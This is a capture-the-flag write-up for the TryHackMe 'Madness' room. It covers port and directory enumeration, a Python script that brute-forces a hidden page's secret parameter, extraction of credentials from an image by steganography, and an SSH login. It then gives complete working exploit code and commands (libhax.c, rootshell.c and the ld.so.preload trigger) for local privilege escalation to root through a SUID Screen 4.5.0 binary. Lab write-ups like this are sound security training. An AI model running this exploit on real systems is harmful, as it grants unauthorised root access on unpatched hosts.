Madness - Joker CTF x Steganography (TryHackMe)

Introduction
This challenge demonstrates a multi-stage attack involving web enumeration, steganography, and privilege escalation. The box requires discovering hidden content through careful reconnaissance, extracting credentials from an image file, and exploiting a known vulnerability in Screen 4.5.0 to gain root access. No SSH brute-forcing is required - all credentials can be discovered through proper enumeration techniques.
Flag Submission

Please note this challenge does not require SSH brute forcing.
Use your skills to access the user and root account!
Answer the questions below
user.txt
nmap -p- -sV -sC <IP_Address>
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-02 17:49 GMT mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 10.48.153.218 Host is up (0.00032s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 ac:f9:85:10:52:65:6e:17:f5:1c:34:e7:d8:64:67:b1 (RSA) | 256 dd:8e:5a:ec:b1:95:cd:dc:4d:01:b3:fe:5f:4e:12:c1 (ECDSA) |_ 256 e9:ed:e3:eb:58:77:3b:00:5e:3a:f5:24:d8:58:34:8e (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.74 secondsgobuster dir -u http://<IP_Address> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txtI noticed that
http://<IP_Address>/?.htmlshows the default break without breaking
curl http://10.48.153.218/index.php <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <body> <div class="main_page"> <div class="page_header floating_element"> <img src="thm.jpg" class="floating_element"/> <!-- They will never find me--> <span class="floating_element"> Apache2 Ubuntu Default Page </span> </div> <!-- <div class="table_of_contents floating_element"> <div class="section_header section_header_grey"> TABLE OF CONTENTS </div> <div class="table_of_contents_item floating_element"> <a href="#about">About</a> </div> <div class="table_of_contents_item floating_element"> <a href="#changes">Changes</a> </div> <div class="table_of_contents_item floating_element"> <a href="#scope">Scope</a> </div> <div class="table_of_contents_item floating_element"> <a href="#files">Config files</a> </div> </div> --> </body> </html>wget http://<IP_Address>/thm.jpg
strings thm.jpgexiftool thm.jpgsteghide extract -sf thm.jpg- didn’t have a passphrase
xxd thm.jpg | head -20

cp thm.jpg thm_fixed.jpg
printf '\xff\xd8' > thm_fixed.jpg
dd if=thm.jpg of=thm_fixed.jpg bs=1 skip=20 seek=2
22190+0 records in
22190+0 records out
22190 bytes (22 kB, 22 KiB) copied, 0.151501 s, 146 kB/s
used the above code to make a copy and fixed it, then used steghide again, but didn’t find anything.

Viewing the image, there was a hidden path: http://<IP_Address>/th1s_1s_h1dd3n

gobuster dir -u http://<IP_Address>/th1s_1s_h1dd3n -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.49.157.80/th1s_1s_h1dd3n
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 277]
/index.php (Status: 200) [Size: 406]
/.html (Status: 403) [Size: 277]
Progress: 873100 / 873104 (100.00%)
===============================================================
Finished
http://<IP_Address>/th1s_1s_h1dd3n

There’s a code comment which will be our hint: // It's between 0-99 but I don't think anyone will look here

/usr/bin/env python3
import requests
url = "http://10.49.157.80/th1s_1s_h1dd3n"
print("[*] Brute forcing secret parameter (0-99)...")
for num in range(100):
response = requests.get(url, params={'secret': num})
# Print progress
print(f"[*] Trying secret={num}", end='\r')
# Check if we got something different (flag found)
if "wrong" not in response.text.lower() and len(response.text) > 100:
print(f"\n[+] FOUND! secret={num}")
print(f"[+] Response:\n{response.text}")
break
elif "flag" in response.text.lower() or "thm{" in response.text.lower():
print(f"\n[+] FLAG FOUND! secret={num}")
print(f"[+] Response:\n{response.text}")
break
else:
print("\n[-] No flag found in range 0-99")
nano brute_secret.py
chmod +x brute_secret.py
python3 brute_secret.py
[*] Brute forcing secret parameter (0-99)...
[*] Trying secret=73
[+] FOUND! secret=73
[+] Response:
<html>
<head>
<title>Hidden Directory</title>
<link href="stylesheet.css" rel="stylesheet" type="text/css">
</head>
<body>
<div class="main">
<h2>Welcome! I have been expecting you!</h2>
<p>To obtain my identity you need to guess my secret! </p>
<!-- It's between 0-99 but I don't think anyone will look here-->
<p>Secret Entered: 73</p>
<p>Urgh, you got it right! But I won't tell you who I am! y2RPJ4QaPF!B</p>
</div>
</body>
</html>

http://<IP_Address>/th1s_1s_h1dd3n/?secret=73

with this we can go back to steghide to check if we can find details about our ssh user or their password
steghide extract -sf thm_fixed.jpg
- We find a
hidden.txtfile

cat hidden.txt
python3 -c "import codecs; print(codecs.decode('wbxre', 'rot_13'))"
This reveals the real username
The image below happens to have a password for our SSH user
- couldn’t run steghide locally, so I just used this writeup to help me with this one

ssh joker@<IP_Address>
find / -type f -name user.txt 2>/dev/null

root.txt
sudo -lThis didn’t work, and I opted to use a different way
find / -perm -4000 2>/dev/nullsudo -l [sudo] password for joker: Sorry, user joker may not run sudo on ubuntu. joker@ubuntu:~$ find / -perm -4000 2>/dev/null /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device /usr/bin/vmware-user-suid-wrapper /usr/bin/gpasswd /usr/bin/passwd /usr/bin/newgrp /usr/bin/chsh /usr/bin/chfn /usr/bin/sudo /bin/fusermount /bin/su /bin/ping6 /bin/screen-4.5.0 /bin/screen-4.5.0.old /bin/mount /bin/ping /bin/umount
Screen version 4.5.0 is vulnerable to a local privilege escalation exploit (CVE-2017-5618) that abuses the ld.so.preload mechanism.
Exploitation
Create libhax.c
This shared library will be preloaded and will modify the ownership and permissions of our rootshell binary:
cd /tmp
cat > libhax.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
Compile the shared library
gcc -fPIC -shared -ldl -o libhax.so libhax.c
Create rootshell.c
This is the SUID binary that will give us a root shell:
cat > rootshell.c << 'EOF'
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
Compile rootshell
gcc -o rootshell rootshell.c
Trigger the exploit
The vulnerable screen binary allows us to write to /etc/ld.so.preload:
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
```
**Output:**
```
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-joker.
The [+] done! message indicates our library was executed with root privileges, making /tmp/rootshell a SUID binary owned by root.
Execute rootshell for root access
/tmp/rootshell
Capture the Flag
Vulnerability Explanation
The Screen 4.5.0 SUID binary has a race condition that allows unprivileged users to write to /etc/ld.so.preload. This file tells the dynamic linker which libraries to load before all others. By injecting our malicious library path, we can execute arbitrary code with root privileges when screen (or any SUID binary) is launched.
CVE Reference: CVE-2017-5618

Conclusion
This challenge effectively teaches several important penetration testing concepts:
Key Takeaways:
Hidden HTML comments can reveal valuable clues and attack vectors
Steganography is a common technique for hiding credentials in CTF challenges
File header corruption can prevent tools from working - knowing how to fix corrupted files is essential
SUID binaries are prime targets for privilege escalation
Known CVEs like the Screen 4.5.0 exploit (CVE-2017-5618) demonstrate why keeping systems patched is critical
The progression from web enumeration → steganography → credential discovery → privilege escalation mirrors real-world attack chains. This room reinforces the importance of thorough enumeration at every stage and understanding how to leverage existing exploits effectively.




